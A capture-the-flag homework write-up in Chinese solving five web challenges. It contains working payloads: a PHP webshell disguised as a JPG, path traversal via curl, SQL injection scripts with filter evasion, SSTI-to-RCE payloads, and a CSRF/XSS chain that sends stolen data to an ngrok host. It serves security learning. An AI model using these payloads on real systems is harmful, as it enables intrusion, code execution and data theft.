###### tags: `Computer Security` # HW0x02 Writeup (Web) [TOC] ## 1. Imgura 直接找.git就發現有東西,講義上附的githack不知為什麼跑不起來,所以我另外找了一個GitHack~[1]~把.git資料夾抓下來 先用git log查看commit紀錄: ![](https://i.imgur.com/QGLWesF.png) 看起來要的東西應該在first commit內。 git的**ls-tree指令可以查看各個版本的內容**~[3]~, :::info 使用方法:git ls-tree {hash值} ::: ![](https://i.imgur.com/SmzvVvL.png) 看到了後來的版本中被砍掉的dev_test_page,連到imgura.chal.h4ck3r.quest/dev_test_page/後會發現一個上傳介面: ![](https://i.imgur.com/mpvJaQ9.png) 利用**cat-file指令可以查看某個檔案的內容**,可以利用這個指令把upload的source code撈出來。 :::info 使用方法:git cat-file -p {hash值} (-p為pretty print) ::: 從upload的souce中可以看到擋掉了php附檔名和內文有```<?php```字眼的檔案。所以需要偽造一個假的圖片,至於 **```<?php```可以改用```<?=```來代替**。 先構造一個一句話木馬,檔名取叫<whatever>.jpg.php: ``` abcd<?= system($_GET[cmd]);?> ``` 然後竄改檔案的Magic Number,我使用的是PyHex~[4]~ JPG的Magic Number是FF D8 FF E8~[5]~ ![](https://i.imgur.com/Do1xeap.png) 上傳後就可以直接找flag了。 :::info `https://imgura.chal.h4ck3r.quest/dev_test_page/images/272a3d96_hello.jpg.php?cmd=cat%20/this_is_flaggggg` ::: :::success :triangular_flag_on_post: FLAG{ImgurAAAAAA} ::: #### Reference: 1. https://github.com/BugScanTeam/GitHack 2. https://www.jianshu.com/p/0ea09975169d 3. https://www.slmt.tw/blog/2016/08/21/dont-expose-your-git-dir/ 4. https://github.com/Builditluc/PyHex 5. https://filesignatures.net/index.php --- ## 2. DVD Screensaver 從source code看到可以用/static/做path traversal,但試了幾次發現"$..$"都會直接被normalize掉,查了才發現用**curl的--path-as-is功能可以避掉normalize**。~[1]~ ~[2]~ :::info `curl -v -X CONNECT --path-as-is http://dvd.chal.h4ck3r.quest:10001/static/../../proc/self/environ --output -` ::: :::success SECRET_KEY=d2908c1de1cd896d90f09df7df67e1d4 ::: 把SECRET_KEY貼到source中並把app跑起來就可以偽造cookie。 接著是SQL injection的部份,先用guest登入後把cookie替換成本地用username="admin"生成的cookie就可以看到username為admin時的畫面 ![](https://i.imgur.com/2FlZ1rK.png) 結果是假的FLAG( 既然FLAG一定長成"FLAG{...}"的形式,只要改成從flag形式來搜尋就可以撈到了,可以利用UNION SELECT來達成。 > fmt.Sprintf("SELECT username, flag FROM users WHERE username='%s'", username) :::info username = "meow' UNION SELECT username, flag FROM users WHERE flag LIKE '%FLAG{%'" ::: ![](https://i.imgur.com/oHNVm6C.png) :::success :triangular_flag_on_post: FLAG{WOW_I_am_the_real_flag____MEOWWWW} ::: #### Reference: 1. https://ilya.app/blog/servemux-and-path-traversal 2. https://pkg.go.dev/net/http#ServeMux.Handler --- ## 3. Profile Card 可以編輯頭像的URL,資料卡標題和一個Bio,還有匯出成HTML或markdown的功能,不過一開始看不出來匯出有什麼用途。 ![](https://i.imgur.com/JPiRol2.png) ![](https://i.imgur.com/P2uSBqG.png) 打開app.js可以看到更新profile的過程,src和textContent不能夾script,所以能執行XSS的點應該在innerHTML,在Bio處塞一些HTML的tag也會跟著反映這點也可以看出來。 ![](https://i.imgur.com/ryqvkd9.png) 從這邊大概可以擬定整個策略應該會是: **傳送惡意連結給admin->觸發CSRF並導回原頁面->CSRF的payload導致XSS->傳送flag** 嘗試著塞最簡單的兩個payload試看看: :::info ``` <script>alert(1)</script> : 會被吃掉,轉成<bad> <img src=x onload=alert(1)> :會被CSP設定擋掉 ``` ::: CSP設定,非常的嚴格~[1]~: ![](https://i.imgur.com/K8jw9r4.png) 先從CSRF的部份開始,這邊參考~[2]~作法裡的Old Method,比較特別的是因為表單以JSON格式送出後會自動pad一些東西導致打update API時會解析失敗,所以多塞了一項key(反正update時不會看這項),並讓結尾閉合不完整(其實確定為什麼但不讓他這樣結尾就會被pad東西導致api報500),就可以讓他更新成功。CSRF後再導回原本的畫面。 payload的樣子,因為submit時會跳到新的tab,所以設了個iframe讓他在裡面跑。 ```html! <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> <form id="edit-form" method="POST" enctype="text/plain" target="dummyframe" action="https://profile.chal.h4ck3r.quest/api/update"> <input name='{"avatar":"/static/default- avatar.png","title":"CSRFed!","profile":"<a href=https://f3d5-1-174-37-6.ngrok.io>bleh</a>", "ignore-me":"' value=test"}> </form> Hacked! <iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe> <script> $("#edit-form").submit(); setTimeout( function(){ window.location.href = "https://profile.chal.h4ck3r.quest/"; }, 2000); </script> ``` 再來就是思考如何生出一個能XSS的payload了。 從文件~[3]~說明可以知道在innerHTML裡夾script tag的話是不會執行script的,但是像是<img alert(1)>或者用javascript:alert(1)等等方式的payload又會被CSP的規定擋掉,在這邊卡了許久。 後來才想起來雖然**innerHTML內不能跑script,但是iframe內的script仍然是可以被執行的**。不過即使這樣,就算script能塞進去,還是會被CSP的限制擋住.... 卡了一陣子從一篇writeup~[4]~中看到了解法:因為CSP限制只能載入相同domain內的script,**只要能找到同domain內能夠利用的頁面,並改造成合法的js檔案,仍然可以引入使用。** 想了半天才終於領悟export在此題的用處。 這裡我選擇以markdown匯出(因為輸出內容比較少比較好改造)。沒試過HTML可不可行。 利用update API改成合法的JS但同時也是合法的HTML,在iframe內引入就能達到XSS。 改造後的payload如下,其實後來應該是因為編碼有點太亂解析時會噴500,所以先做encode: ```html! <input name='{"avatar":"alert(1))];/*","title":" */ /*","profile":"<a href="https://f3d5-1-174-37-6.ngrok.io">bleh</a><iframe srcdoc=\u0022\u0026\u006c\u0074\u003b\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0070\u0072\u006f\u0066\u0069\u006c\u0065\u002e\u0063\u0068\u0061\u006c\u002e\u0068\u0034\u0063\u006b\u0033\u0072\u002e\u0071\u0075\u0065\u0073\u0074\u002f\u0065\u0078\u0070\u006f\u0072\u0074\u003f\u0066\u006f\u0072\u006d\u0061\u0074\u003d\u006d\u0061\u0072\u006b\u0064\u006f\u0077\u006e\u0026\u0067\u0074\u003b\u0026\u006c\u0074\u003b\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0026\u0067\u0074\u003b\u0022></iframe>*/","ignore-me":"' value=test"}> <!-- srcdoc內等同於"&lt;script src=https://profile.chal.h4ck3r.quest/export?format=markdown&gt;&lt;/script&gt;" --> ``` render出的markdown如下,整個後半部都等同於註解掉了: ```markdown=! [![](alert(1))];/*)](https://github.com/turtle) # @turtle ### */ /* --- <a href="https://f3d5-1-174-37-6.ngrok.io">bleh</a><iframe srcdoc="&lt;script src=https://profile.chal.h4ck3r.quest/export?format=markdown&gt;&lt;/script&gt;"></iframe>*/ ``` 雖然前面的```[![](```會導致error但還是能成功跳出alert: ![](https://i.imgur.com/DV4o1zV.png) 這樣就能開始寫script了,基本上跟lab差不多,不一樣的地方在於因為CSP的關係使用location.href會被connect-src的設定擋掉,改用window.open就能躲過限制: 最終payload: ```html! <input name='{"avatar":"fetch(`/flag`).then(r=>r.text()).then(flag=>window.open(`https://c979-1-174-37-6.ngrok.io/kekw?${flag}`)))];/*","title":" */ /*","profile":"<a href=\u0022https://c979-1-174-37-6.ngrok.io\u0022>bleh</a><iframe srcdoc=\u0022\u0026\u006c\u0074\u003b\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0070\u0072\u006f\u0066\u0069\u006c\u0065\u002e\u0063\u0068\u0061\u006c\u002e\u0068\u0034\u0063\u006b\u0033\u0072\u002e\u0071\u0075\u0065\u0073\u0074\u002f\u0065\u0078\u0070\u006f\u0072\u0074\u003f\u0066\u006f\u0072\u006d\u0061\u0074\u003d\u006d\u0061\u0072\u006b\u0064\u006f\u0077\u006e\u0026\u0067\u0074\u003b\u0026\u006c\u0074\u003b\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0026\u0067\u0074\u003b\u0022></iframe>\u002a\u002f","ignore-me":"' value=test"}> <!-- srcdoc內等同於"&lt;script src=https://profile.chal.h4ck3r.quest/export?format=markdown&gt;&lt;/script&gt;" --> ``` 然後把server網址report給admin就能領flag了。 :::success :triangular_flag_on_post: FLAG{W0W_you_expl0ited_th3_s3lf_xss} ::: #### Reference: 1. https://csp-evaluator.withgoogle.com/ 2. https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/ 3. https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML 4. https://tech-blog.cymetrics.io/posts/huli/learn-from-intigriti-xss-0721/ --- ## 4. Double SSTI Source code可以發現第一層用了handlebars,上網查應該都會找到一篇用Handlebars SSTI一個shopify app達到RCE的文~[1]~,不過後來才發現原來這個洞被修掉了。~[2]~ 因為server檔掉了secret這個關鍵字,本來想用string replace等方式來解,但事實上server根本沒有Register任何helper,只能使用內建的helper。後來找到一篇利用內建的each helper把secret一個char一個char讀出來的方法。~[3]~ ```python= import requests from pwn import * secret = '' while True: content = '{{#each this}}{{#unless @first}}{{this.[%d]}} \ {{/unless}}{{/each}}' % len(secret) r = requests.get('https://double-ssti.chal.h4ck3r.quest \ /welcome?name=' + urlencode(content)) #print(r.content.decode()) tmp = r.content.decode().split(' ')[1][0] secret += tmp print(secret) if(secret[-1] == '!'): break ``` ![](https://i.imgur.com/CBbJZBB.png) 這樣一個一個爆出來感覺蠻爽的,但後來發現其實根本不需要迴圈 :::info name = {{#each this}}{{#unless @first}}{{this}}{{/unless}}{{/each}} ::: :::success secret = 77777me0w_me0w_s3cr3t77777 ::: 第二層從source知道是jinja,但底線之類等等被過濾,從~[4]~可以知道能用|attr()的方式來代替屬性用的點".",底線可以用\x5f代替。此外,講義上的**os.system()只會回傳status**,所以要用其他方式讀flag,可以用~[4]~裡的subprocess或者os._warp_close來達成RCE。 :::info ``` name = " {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')| \ attr('\x5f\x5fsubclasses\x5f\x5f')()| \ attr('\x5f\x5fgetitem\x5f\x5f')(132)| \ attr('\x5f\x5finit\x5f\x5f')| \ attr('\x5f\x5fglobals\x5f\x5f')| \ attr('\x5f\x5fgetitem\x5f\x5f')('popen')('cat /y000_i_am_za_fl4g')| \ attr('readlines')()}}" ``` ::: :::success :triangular_flag_on_post: FLAG{SssssstiiiiiiI} ::: #### Reference: 1. http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html 2. https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767 3. https://fireshellsecurity.team/defenit-ctf-some-tasks/#web---babyjs 4. https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f --- ## 5. Log me in : FINAL 既然題目說要試著戳出500,所以就先隨便亂送一些request試試: 先用postman直接送一個沒有body的請求: ![](https://i.imgur.com/lSFEOKu.png) 可以發現SQL的語法直接被抖出來,而且還會過濾單、雙引號 > str.gsub(/['"]/,'\\\\\0') > query = "SELECT * FROM users WHERE username='#{addslashes(@params['username'])}' and password='#{addslashes(@params['password'])}'" 只要在username尾巴補一個\,username的第一個單引號就會跟password的第一個單引號閉合,等同於username變成(以輸入meow\為例)meow\' and password=這一串,後面就可以接一些自己要的輸入。 登入後只會出現Welcome或Incorrect username or password。而因為meow\' and password=這個username不存在,配合一個or 2>1之類的東西,就可以進行boolean blind SQLi。 實際測的時候發現SELECT,OR,AND,空白之類的也會被濾掉,不過or 可以用||代替,SELECT的話,只要中間加個空白,讓空白自己過濾掉就可以組起來,而**SQL語法內的空白可以用```/**/```代替**。 ```python= pswd = "" while True : for position in range(1, 99): print(position) for asciivalue in range(32, 126): payload = { "username" : "meow\\", "password" : "|| (ascii(substr((SEL ECT/**/passwo rd \ /**/FROM/**/users/**/LIMIT/**/1,1)," + str(position) + \ ",1))) > " + str(asciivalue) +" #", } r = requests.post(url, data = payload) #print(r.content.decode()) if (r.content.decode() == 'Incorrect username or password.'): pswd = pswd + chr(asciivalue) print(pswd) break ``` 範例的script如上,把admin的密碼一個字一個字抖出來, ![](https://i.imgur.com/vmGCFzv.png) 結果說FLAG在其他table,但照著上面的方式,可以利用information_schema把其他資料庫名稱和column都挖出來: :::success Tables: h3y_here_15_the_flag_y0u_w4nt,meow,flag,users Columns: i_4m_th3_fl4g,password,uid,username,password ::: 很明顯的看見flag應該在h3y_here_15_the_flag_y0u_w4nt的i_4m_th3_fl4g內 ![](https://i.imgur.com/TEsPSvB.png) 結果居然說找不到此table,解的時候一直想不透明明有但為什麼會說找不到table...結果挖了info rmation_schema.TABLES裡的table_schema... :::success Table schema: db,db,information_schema... ::: 原來是自己被騙,其實table名稱是h3y_here_15_the_flag_y0u_w4nt,meow,flag 實際上只有兩個table,不是4個。 確定table名稱和column名稱就可以用一樣的方式得到flag。 當初快解掉時才發現其實用error_based的方法也可以,就不用等迴圈一個字一個字慢慢爆。 :::info ```! username = "meow\" password = "||(SEL ECT/**/ExtractValue(1, concat(0x0A, mid((SEL ECT/**/i_4m_th3_fl4g/**/from/**/`h3y_here_15_the_flag_y0u_w4nt,meow,flag`),1,32))))#" ``` ::: ![](https://i.imgur.com/KLy6Fm8.png) :::success :triangular_flag_on_post: FLAG{!!!b00lean_bas3d_OR_err0r_based_sqli???} ::: #### Reference: 1. https://blog.csdn.net/qq_42181428/article/details/105061424 2. https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/